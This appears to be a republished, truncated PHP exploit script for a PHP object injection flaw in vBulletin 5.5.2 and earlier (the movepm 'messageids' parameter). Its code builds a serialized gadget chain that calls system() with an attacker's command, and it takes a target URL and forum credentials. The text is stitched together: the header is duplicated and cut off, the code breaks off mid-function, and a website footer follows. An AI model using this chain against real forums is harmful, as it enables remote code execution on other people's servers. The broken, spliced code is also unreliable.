<?php
/*
--------------------------------------------------------------
vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
------------- <?php
/*
--------------------------------------------------------------
vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
--------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.vbulletin.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is
not properly sanitized before being used in a call to the unserialize() PHP function. This can
be exploited by malicious users to inject arbitrary PHP objects into the application scope,
allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.
[-] Technical writeup:
http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[+] cURL extension required!
");
print "+------------------------------------------------------------------+";
print "
| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";
print "
+------------------------------------------------------------------+
";
if ($argc != 4)
{
print "
Usage......: php $argv[0] <URL> <Username> <Password>
";
print "
Example....: php $argv[0] http://localhost/vb/ user passwd";
print "
Example....: php $argv[0] https://vbulletin.com/ evil hacker
";
die();
}
class googlelogin_vendor_autoload {} // fake class to include the autoloader
class GuzzleHttp_HandlerStack
{
private $handler, $stack;
function __construct($cmd)
{
$this->stack = [["system"]]; // the callback we want to execute
$this->handler = $cmd; // argument for the callback
}
}
class GuzzleHttp_Psr7_FnStream
{
function __construct($callback)
{
$this->_fn_close = $callback;
}
}
function make_popchain($cmd)
{
$pop = new GuzzleHttp_HandlerStack($cmd);
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
$chain = serialize([new googlelogin_vendor_autoload, $pop]);
$chain = str_replace(['s:', chr(0)], ['S:', '
vBulletin 5.5.2 PHP Object Injection
- Details
- Written by: khalil
- Category: Vulnerabilities
- Hits: 413